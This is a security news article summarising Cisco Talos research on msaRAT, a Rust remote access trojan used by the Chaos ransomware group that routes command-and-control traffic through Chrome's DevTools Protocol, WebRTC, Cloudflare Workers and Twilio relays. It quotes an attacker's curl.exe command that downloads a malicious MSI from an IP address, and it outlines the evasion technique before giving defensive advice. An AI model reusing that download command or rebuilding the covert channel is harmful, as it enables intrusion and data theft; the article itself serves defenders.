Chaos ransomware’s msaRAT is a newly discovered Rust-based remote access trojan (RAT) that exploits browser infrastructure for covert command-and-control (C2) operations. This approach, detailed by Cisco Talos, marks a significant evolution in attacker tactics by leveraging Chrome’s DevTools Protocol and WebRTC, making network detection and containment more difficult.
Chaos ransomware group and their evolving tactics
First surfacing in February 2025, the Chaos ransomware group operates a ransomware-as-a-service (RaaS) model. While the group’s public data leak site lists relatively few victims, its operations consistently target large organisations with double extortion: encrypting files and threatening data leaks. The group typically gains initial access via spam emails or voice-based social engineering (vishing), then uses legitimate remote monitoring and management (RMM) tools and file-sharing software to maintain persistence and exfiltrate data.
In their latest campaigns, Chaos ransomware operators have added a sophisticated Rust-based RAT, now dubbed msaRAT, to their toolkit. This development demonstrates their growing technical sophistication and willingness to adopt new methods for evasion and stealth.
msaRAT: Technical details and infection chain
The msaRAT malware is implemented in Rust using the Tokio asynchronous runtime. The RAT includes functions named “msaOpen,” “msaClose,” “msaError,” and “msaMessage,” giving rise to its name. Its standout feature is its complete avoidance of direct network traffic for C2. Instead, it hijacks the victim’s web browser to communicate with attacker infrastructure.
Browser-driven C2 channel
- Control via Chrome DevTools Protocol (CDP): msaRAT interacts exclusively through Chrome’s debugging interface, never making direct outbound connections itself. This means traditional network detection tools are likely to miss its activity, as all communication appears to originate from a legitimate browser process.
- Signalling with Cloudflare Workers: The RAT instructs Chrome, via CDP, to interact with a Cloudflare Workers endpoint for the signalling phase of WebRTC communications. This includes exchanging Session Description Protocol (SDP) offer/answer messages needed to negotiate a connection.
- WebRTC DataChannel for covert C2: Once signalling is complete, a peer-to-peer WebRTC DataChannel is established between the victim’s browser and the attacker’s C2 server. This channel is relayed using Twilio’s TURN (Traversal Using Relays around NAT) infrastructure, which helps the connection pass through restrictive firewalls and NAT devices.
This method effectively turns the victim’s browser into a proxy for all C2 traffic, blending malicious communications with legitimate browser activity and complicating detection and response.
Detailed infection workflow
The infection chain, as reconstructed by Talos, begins after the attackers gain access to a system. Before deploying ransomware, they execute the following command to download and run the RAT payload:
curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi
The use of port 443 is intended to bypass firewall rules that allow traffic based solely on port number. However, the download occurs over cleartext HTTP, not HTTPS. This allows the attacker to sidestep egress controls based on protocol inspection, as many environments only restrict traffic by port number.
- The MSI installer is saved to the ProgramData directory and executed locally, extracting a DLL that contains the msaRAT payload.
- Installer properties are crafted to mimic legitimate Windows update packages, increasing the likelihood of evasion during manual inspection.
Once installed, msaRAT launches Chrome with remote debugging enabled, establishes communication channels via CDP, and begins the signalling process with the attacker’s Cloudflare Workers endpoint. This initiates the creation of a WebRTC DataChannel, which will serve as the main conduit for attacker commands and exfiltrated data.
Current exploitation status and detection challenges
Research indicates that this technique is actively being used in the wild by Chaos ransomware operators, with real-world infections observed. Because msaRAT leverages built-in browser APIs and established third-party infrastructure (Cloudflare and Twilio), defenders face significant challenges in identifying and blocking this activity:
- All C2 traffic is disguised as legitimate browser usage.
- Network security tools may not inspect protocol details on port 443, allowing cleartext HTTP downloads to slip through.
- WebRTC traffic is commonly allowed for legitimate purposes, making DataChannel-based C2 hard to distinguish from normal usage.
- The use of Chrome’s remote debugging API (CDP) is rare in production environments, but not intrinsically suspicious.
Talos notes that the infection chain often includes unexpected execution of curl.exe and MSI files, which can be monitored as indicators of compromise.
Why msaRAT matters for defenders
This campaign is notable for its creative use of browser APIs and third-party cloud services to establish hard-to-detect C2 channels. It highlights the need for security teams to scrutinise browser behaviour, especially remote debugging and WebRTC activity, and to enforce strict egress filtering beyond simple port-based rules.
What organisations should do now
- Audit and restrict Chrome remote debugging capabilities across endpoints.
- Monitor for unusual use of
curl.exeand MSI installations, especially those communicating over unexpected protocols or ports. - Review egress firewall rules to ensure protocol inspection, not just port-based filtering, is enforced.
- Examine WebRTC usage and consider restrictions or monitoring for sensitive environments.
These actions are especially important for small and medium-sized businesses, which may have less mature egress controls and monitoring in place.
Originally reported by blog.talosintelligence.com.




